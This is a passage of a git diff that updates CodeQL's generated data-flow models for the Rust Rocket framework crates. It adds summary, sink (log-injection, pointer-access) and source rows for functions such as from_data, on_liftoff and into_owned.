"ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_base", "Argument[self].Field[crate::route::route::Route::uri].Field[crate::route::uri::RouteUri::base]", "Argument[0].Parameter[0]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_base", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::route::route::Route::method]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[2]", "ReturnValue.Field[crate::route::route::Route::handler].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::ranked", "Argument[1]", "ReturnValue.Field[crate::route::route::Route::method]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ranked", "Argument[3]", "ReturnValue.Field[crate::route::route::Route::handler].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::route::uri::RouteUri::origin]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_str", "Argument[self].Field[crate::route::uri::RouteUri::source]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::default_rank", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::query", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::serde::json::Json(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::serde::json::Json(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -405,29 +517,60 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::serde::json::Json(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::serde::msgpack::MsgPack(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::serde::msgpack::MsgPack(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[crate::serde::msgpack::MsgPack(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::serde::msgpack::MsgPack(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::allow", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::block", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_liftoff", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_liftoff", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_response", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_response", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::disable", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::enable", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::state::State(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::inner", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::inner", "Argument[self].Field[crate::state::State(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::respond_to", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::len_into_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_ignite", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_ignite", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_liftoff", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_liftoff", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_request", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_request", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_response", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_response", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_response", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_shutdown", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_shutdown", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::clone", "Argument[self].Field[crate::trip_wire::TripWire::state].Reference", "ReturnValue.Field[crate::trip_wire::TripWire::state]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::trip_wire::TripWire::state]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_segments", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::finalize", "Argument[0].Field[crate::form::from_form::VecContext::errors]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::finalize", "Argument[0].Field[crate::form::from_form::VecContext::items]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::init", "Argument[0]", "ReturnValue.Field[crate::form::from_form::VecContext::opts]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::len_into_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] @@ -458,7 +601,6 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/rwf2/Rocket:rocket", "crate::catcher::catcher::default_handler", "Argument[0]", "ReturnValue.Field[crate::response::response::Response::status].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "crate::form::validate::try_with", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "crate::form::validate::with", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "crate::prepend", "Argument[1]", "ReturnValue", "value", "dfc-generated"] @@ -468,8 +610,15 @@ extensions: data: - ["repo:https://github.com/rwf2/Rocket:rocket", "::signal_stream", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::limit", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::add", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::append", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_owned", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "pointer-access", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::expect", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::client_ip", "Argument[self]", "pointer-access", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::respond_to", "Argument[self]", "pointer-access", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::dispatch", "Argument[1]", "log-injection", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::handle_error", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::matches", "Argument[0]", "log-injection", "df-generated"] @@ -479,3 +628,5 @@ extensions: extensible: sourceModel data: - ["repo:https://github.com/rwf2/Rocket:rocket", "::to_native_config", "ReturnValue", "file", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::open", "ReturnValue", "file", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::open", "ReturnValue", "file", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_codegen.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_codegen.model.yml index 3c08a3aa283..ae08b4484be 100644 --- a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_codegen.model.yml +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_codegen.model.yml @@ -5,6 +5,8 @@ extensions: extensible: summaryModel data: - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::with_span", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from_uri_param", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::attribute::param::Dynamic::name]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::parse", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::attribute::param::parse::Error::segment]", "value", "dfc-generated"] @@ -36,6 +38,7 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::source", "Argument[1]", "Argument[self].Field[crate::attribute::param::parse::Error::source_span]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::source", "Argument[1]", "ReturnValue.Field[crate::attribute::param::parse::Error::source_span]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::source", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::attribute::route::parse::Route::attr]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::attribute::route::parse::Route::handler]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::upgrade_dynamic", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::attribute::param::Guard::source]", "value", "dfc-generated"] @@ -48,7 +51,9 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::derive::form_field::FieldName::Cased(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::derive::form_field::FieldName::Uncased(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::respanned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from_meta", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::as_ref", "Argument[self].Field[crate::name::Name::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::name::Name::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::as_str", "Argument[self].Field[crate::name::Name::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::new", "Argument[1]", "ReturnValue.Field[crate::name::Name::span]", "value", "dfc-generated"] @@ -57,6 +62,13 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::head_err_or", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::proc_macro_ext::StringLit(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::syn_ext::Child::ty]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::ty", "Argument[self]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "crate::derive::form_field::first_duplicate", "Argument[0].Element", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::into_owned", "Argument[self]", "pointer-access", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_http.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_http.model.yml index c987027c185..0d36e150267 100644 --- a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_http.model.yml +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_http.model.yml @@ -33,6 +33,7 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_params", "Argument[self].Field[crate::header::content_type::ContentType(0)]", "ReturnValue.Field[crate::header::content_type::ContentType(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::name", "Argument[self].Field[crate::header::header::Header::name]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::value", "Argument[self].Field[crate::header::header::Header::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::const_new", "Argument[2]", "ReturnValue.Field[crate::header::media_type::MediaType::params].Field[crate::header::media_type::MediaParams::Static(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::known_source", "Argument[self].Field[crate::header::media_type::MediaType::source].Field[crate::header::media_type::Source::Known(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new_known", "Argument[0]", "ReturnValue.Field[crate::header::media_type::MediaType::source].Field[crate::header::media_type::Source::Known(0)]", "value", "dfc-generated"] @@ -46,12 +47,16 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::sleep_on_errors", "Argument[0]", "Argument[self].Field[crate::listener::Incoming::sleep_on_errors]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::sleep_on_errors", "Argument[0]", "ReturnValue.Field[crate::listener::Incoming::sleep_on_errors]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::sleep_on_errors", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::fmt", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::fmt", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::fmt", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -87,6 +92,7 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_ref", "Argument[self].Field[crate::raw_str::RawStr(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_bytes", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_str", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -104,7 +110,6 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::peer_address", "Argument[self].Field[crate::tls::listener::TlsStream::remote]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::peer_certificates", "Argument[self].Field[crate::tls::listener::TlsStream::certs].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::peer_certificates", "Argument[self].Field[crate::tls::listener::TlsStream::certs]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::deref", "Argument[self].Field[crate::tls::mtls::Certificate::x509]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_bytes", "Argument[self].Field[crate::tls::mtls::Certificate::data].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::has_serial", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -113,6 +118,8 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::deref", "Argument[self].Field[crate::tls::mtls::Name(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::try_from", "Argument[0].Field[crate::uri::uri::Uri::Absolute(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self].Field[crate::uri::absolute::Absolute::scheme].Field[crate::parse::indexed::Indexed::Indexed(0)]", "ReturnValue.Field[crate::uri::absolute::Absolute::scheme].Field[crate::parse::indexed::Indexed::Indexed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self].Field[crate::uri::absolute::Absolute::scheme].Field[crate::parse::indexed::Indexed::Indexed(1)]", "ReturnValue.Field[crate::uri::absolute::Absolute::scheme].Field[crate::parse::indexed::Indexed::Indexed(1)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::append", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::prepend", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::authority", "Argument[self].Field[crate::uri::absolute::Absolute::authority].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] @@ -122,16 +129,23 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::path", "Argument[self].Field[crate::uri::absolute::Absolute::source]", "ReturnValue.Field[crate::uri::path_query::Path::source].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::query", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[2]", "ReturnValue.Field[crate::uri::absolute::Absolute::authority]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::scheme", "Argument[self].Field[crate::uri::absolute::Absolute::scheme].Field[crate::parse::indexed::Indexed::Concrete(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::set_authority", "Argument[0]", "Argument[self].Field[crate::uri::absolute::Absolute::authority].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_authority", "Argument[0]", "Argument[self].Field[crate::uri::absolute::Absolute::authority].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_authority", "Argument[0]", "ReturnValue.Field[crate::uri::absolute::Absolute::authority].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_authority", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::try_from", "Argument[0].Field[crate::uri::uri::Uri::Asterisk(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::try_from", "Argument[0].Field[crate::uri::uri::Uri::Authority(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self].Field[crate::uri::authority::Authority::host].Field[crate::parse::indexed::Indexed::Indexed(0)]", 